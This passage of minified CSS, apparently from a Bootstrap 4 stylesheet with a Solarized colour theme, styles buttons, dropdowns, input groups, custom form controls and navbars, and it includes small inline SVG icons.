rgba(203,75,22,0.5)}.btn-warning.disabled,.btn-warning:disabled{color:#fff;background-color:#CB4B16;border-color:#CB4B16}.btn-warning:not(:disabled):not(.disabled):active,.btn-warning:not(:disabled):not(.disabled).active,.show>.btn-warning.dropdown-toggle{color:#fff;background-color:#9d3a11;border-color:#913610}.btn-warning:not(:disabled):not(.disabled):active:focus,.btn-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(203,75,22,0.5);box-shadow:0 0 0 0.2rem rgba(203,75,22,0.5)}.btn-danger{color:#fff;background-color:#D33682;border-color:#D33682}.btn-danger:hover{color:#fff;background-color:#ba296f;border-color:#b02669}.btn-danger:focus,.btn-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5);box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#D33682;border-color:#D33682}.btn-danger:not(:disabled):not(.disabled):active,.btn-danger:not(:disabled):not(.disabled).active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#b02669;border-color:#a52463}.btn-danger:not(:disabled):not(.disabled):active:focus,.btn-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5);box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5)}.btn-light{color:#002B36;background-color:#FDF6E3;border-color:#FDF6E3}.btn-light:hover{color:#002B36;background-color:#faebbf;border-color:#fae7b3}.btn-light:focus,.btn-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5);box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5)}.btn-light.disabled,.btn-light:disabled{color:#002B36;background-color:#FDF6E3;border-color:#FDF6E3}.btn-light:not(:disabled):not(.disabled):active,.btn-light:not(:disabled):not(.disabled).active,.show>.btn-light.dropdown-toggle{color:#002B36;background-color:#fae7b3;border-color:#f9e3a8}.btn-light:not(:disabled):not(.disabled):active:focus,.btn-light:not(:disabled):not(.disabled).active:focus,.show>.btn-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5);box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5)}.btn-dark{color:#fff;background-color:#073642;border-color:#073642}.btn-dark:hover{color:#fff;background-color:#031a1f;border-color:#021014}.btn-dark:focus,.btn-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#073642;border-color:#073642}.btn-dark:not(:disabled):not(.disabled):active,.btn-dark:not(:disabled):not(.disabled).active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#021014;border-color:#010708}.btn-dark:not(:disabled):not(.disabled):active:focus,.btn-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5)}.btn-outline-primary{color:#B58900;background-color:transparent;background-image:none;border-color:#B58900}.btn-outline-primary:hover{color:#fff;background-color:#B58900;border-color:#B58900}.btn-outline-primary:focus,.btn-outline-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5);box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#B58900;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled):active,.btn-outline-primary:not(:disabled):not(.disabled).active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#B58900;border-color:#B58900}.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5);box-shadow:0 0 0 0.2rem rgba(181,137,0,0.5)}.btn-outline-secondary{color:#839496;background-color:transparent;background-image:none;border-color:#839496}.btn-outline-secondary:hover{color:#fff;background-color:#839496;border-color:#839496}.btn-outline-secondary:focus,.btn-outline-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5);box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#839496;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled):active,.btn-outline-secondary:not(:disabled):not(.disabled).active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#839496;border-color:#839496}.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5);box-shadow:0 0 0 0.2rem rgba(131,148,150,0.5)}.btn-outline-success{color:#2AA198;background-color:transparent;background-image:none;border-color:#2AA198}.btn-outline-success:hover{color:#fff;background-color:#2AA198;border-color:#2AA198}.btn-outline-success:focus,.btn-outline-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5);box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#2AA198;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled):active,.btn-outline-success:not(:disabled):not(.disabled).active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#2AA198;border-color:#2AA198}.btn-outline-success:not(:disabled):not(.disabled):active:focus,.btn-outline-success:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5);box-shadow:0 0 0 0.2rem rgba(42,161,152,0.5)}.btn-outline-info{color:#268BD2;background-color:transparent;background-image:none;border-color:#268BD2}.btn-outline-info:hover{color:#fff;background-color:#268BD2;border-color:#268BD2}.btn-outline-info:focus,.btn-outline-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5);box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#268BD2;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled):active,.btn-outline-info:not(:disabled):not(.disabled).active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#268BD2;border-color:#268BD2}.btn-outline-info:not(:disabled):not(.disabled):active:focus,.btn-outline-info:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5);box-shadow:0 0 0 0.2rem rgba(38,139,210,0.5)}.btn-outline-warning{color:#CB4B16;background-color:transparent;background-image:none;border-color:#CB4B16}.btn-outline-warning:hover{color:#fff;background-color:#CB4B16;border-color:#CB4B16}.btn-outline-warning:focus,.btn-outline-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(203,75,22,0.5);box-shadow:0 0 0 0.2rem rgba(203,75,22,0.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#CB4B16;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled):active,.btn-outline-warning:not(:disabled):not(.disabled).active,.show>.btn-outline-warning.dropdown-toggle{color:#fff;background-color:#CB4B16;border-color:#CB4B16}.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(203,75,22,0.5);box-shadow:0 0 0 0.2rem rgba(203,75,22,0.5)}.btn-outline-danger{color:#D33682;background-color:transparent;background-image:none;border-color:#D33682}.btn-outline-danger:hover{color:#fff;background-color:#D33682;border-color:#D33682}.btn-outline-danger:focus,.btn-outline-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5);box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#D33682;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled):active,.btn-outline-danger:not(:disabled):not(.disabled).active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#D33682;border-color:#D33682}.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5);box-shadow:0 0 0 0.2rem rgba(211,54,130,0.5)}.btn-outline-light{color:#FDF6E3;background-color:transparent;background-image:none;border-color:#FDF6E3}.btn-outline-light:hover{color:#002B36;background-color:#FDF6E3;border-color:#FDF6E3}.btn-outline-light:focus,.btn-outline-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5);box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#FDF6E3;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled):active,.btn-outline-light:not(:disabled):not(.disabled).active,.show>.btn-outline-light.dropdown-toggle{color:#002B36;background-color:#FDF6E3;border-color:#FDF6E3}.btn-outline-light:not(:disabled):not(.disabled):active:focus,.btn-outline-light:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5);box-shadow:0 0 0 0.2rem rgba(253,246,227,0.5)}.btn-outline-dark{color:#073642;background-color:transparent;background-image:none;border-color:#073642}.btn-outline-dark:hover{color:#fff;background-color:#073642;border-color:#073642}.btn-outline-dark:focus,.btn-outline-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#073642;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled):active,.btn-outline-dark:not(:disabled):not(.disabled).active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#073642;border-color:#073642}.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.5)}.btn-link{font-weight:400;color:#2AA198;background-color:transparent}.btn-link:hover{color:#2AA198;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link:focus,.btn-link.focus{text-decoration:underline;border-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link:disabled,.btn-link.disabled{color:#839496}.btn-lg,.btn-group-lg>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}.btn-sm,.btn-group-sm>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:0.5rem}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.show{opacity:1}.collapse{display:none}.collapse.show{display:block}tr.collapse.show{display:table-row}tbody.collapse.show{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;transition:height 0.35s ease}.dropup,.dropdown{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid;border-right:0.3em solid transparent;border-bottom:0;border-left:0.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:0.5rem 0;margin:0.125rem 0 0;font-size:1rem;color:#839496;text-align:left;list-style:none;background-color:#073642;background-clip:padding-box;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem}.dropup .dropdown-menu{margin-top:0;margin-bottom:0.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0;border-right:0.3em solid transparent;border-bottom:0.3em solid;border-left:0.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;margin-left:0.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-bottom:0.3em solid transparent;border-left:0.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{margin-top:0;margin-right:0.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0.3em solid;border-bottom:0.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:0.5rem 0;overflow:hidden;border-top:1px solid #002B36}.dropdown-item{display:block;width:100%;padding:0.25rem 1.5rem;clear:both;font-weight:400;color:#839496;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:hover,.dropdown-item:focus{color:rgba(255,255,255,0.75);text-decoration:none;background-color:#002B36}.dropdown-item.active,.dropdown-item:active{color:rgba(255,255,255,0.75);text-decoration:none;background-color:#073642}.dropdown-item.disabled,.dropdown-item:disabled{color:#839496;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:0.5rem 1.5rem;margin-bottom:0;font-size:0.875rem;color:#839496;white-space:nowrap}.btn-group,.btn-group-vertical{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover{z-index:1}.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:not(:last-child):not(.dropdown-toggle),.btn-group>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:not(:first-child),.btn-group>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:0.5625rem;padding-left:0.5625rem}.dropdown-toggle-split::after{margin-left:0}.btn-sm+.dropdown-toggle-split,.btn-group-sm>.btn+.dropdown-toggle-split{padding-right:0.375rem;padding-left:0.375rem}.btn-lg+.dropdown-toggle-split,.btn-group-lg>.btn+.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.btn-group-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),.btn-group-vertical>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:not(:first-child),.btn-group-vertical>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type="radio"],.btn-group-toggle>.btn input[type="checkbox"],.btn-group-toggle>.btn-group>.btn input[type="radio"],.btn-group-toggle>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.custom-select,.input-group>.custom-file{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.form-control:focus,.input-group>.custom-select:focus,.input-group>.custom-file:focus{z-index:3}.input-group>.form-control+.form-control,.input-group>.form-control+.custom-select,.input-group>.form-control+.custom-file,.input-group>.custom-select+.form-control,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.custom-file,.input-group>.custom-file+.form-control,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.custom-file{margin-left:-1px}.input-group>.form-control:not(:last-child),.input-group>.custom-select:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.form-control:not(:first-child),.input-group>.custom-select:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::before{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::before{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-prepend,.input-group-append{display:-webkit-box;display:-ms-flexbox;display:flex}.input-group-prepend .btn,.input-group-append .btn{position:relative;z-index:2}.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.input-group-text,.input-group-append .input-group-text+.btn{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.375rem 0.75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#839496;text-align:center;white-space:nowrap;background-color:#073642;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem}.input-group-text input[type="radio"],.input-group-text input[type="checkbox"]{margin-top:0}.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text,.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked ~ .custom-control-label::before{color:rgba(255,255,255,0.75);background-color:#073642}.custom-control-input:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #002B36,0 0 0 0.2rem rgba(7,54,66,0.25);box-shadow:0 0 0 1px #002B36,0 0 0 0.2rem rgba(7,54,66,0.25)}.custom-control-input:active ~ .custom-control-label::before{color:rgba(255,255,255,0.75);background-color:#18bae3}.custom-control-input:disabled ~ .custom-control-label{color:#839496}.custom-control-input:disabled ~ .custom-control-label::before{background-color:#EEE8D5}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:0.25rem}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before{background-color:#073642}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='rgba(255, 255, 255, 0.75)' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before{background-color:#073642}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='rgba(255, 255, 255, 0.75)' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(181,137,0,0.5)}.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before{background-color:rgba(181,137,0,0.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked ~ .custom-control-label::before{background-color:#073642}.custom-radio .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='rgba(255, 255, 255, 0.75)'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(181,137,0,0.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:0.375rem 1.75rem 0.375rem 0.75rem;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23073642' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center;background-size:8px 10px;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#1394b5;outline:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(19,148,181,0.5);box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(19,148,181,0.5)}.custom-select:focus::-ms-value{color:#495057;background-color:#A9BDBD}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:0.75rem;background-image:none}.custom-select:disabled{color:#839496;background-color:#EEE8D5}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus ~ .custom-file-control{border-color:#1394b5;-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25)}.custom-file-input:focus ~ .custom-file-control::before{border-color:#1394b5}.custom-file-input:lang(en) ~ .custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:0.375rem 0.75rem;line-height:1.5;color:#495057;background-color:#A9BDBD;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.25rem + 2px) - 1px * 2);padding:0.375rem 0.75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#073642;border-left:1px solid rgba(0,0,0,0.15);border-radius:0 0.25rem 0.25rem 0}.nav{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:0.5rem 1rem}.nav-link:hover,.nav-link:focus{text-decoration:none}.nav-link.disabled{color:#839496}.nav-tabs{border-bottom:1px solid #073642}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.nav-tabs .nav-link:hover,.nav-tabs .nav-link:focus{border-color:#073642}.nav-tabs .nav-link.disabled{color:#839496;background-color:transparent;border-color:transparent}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:rgba(255,255,255,0.75);background-color:#002B36;border-color:#073642}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:0.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:rgba(255,255,255,0.75);background-color:#073642}.nav-fill .nav-item{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:0.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:0.3125rem;padding-bottom:0.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-nav{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:0.5rem;padding-bottom:0.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:0.25rem 0.75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:0.25rem}.navbar-toggler:hover,.navbar-toggler:focus{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width: 575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 576px){.navbar-expand-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-sm .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 768px){.navbar-expand-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md 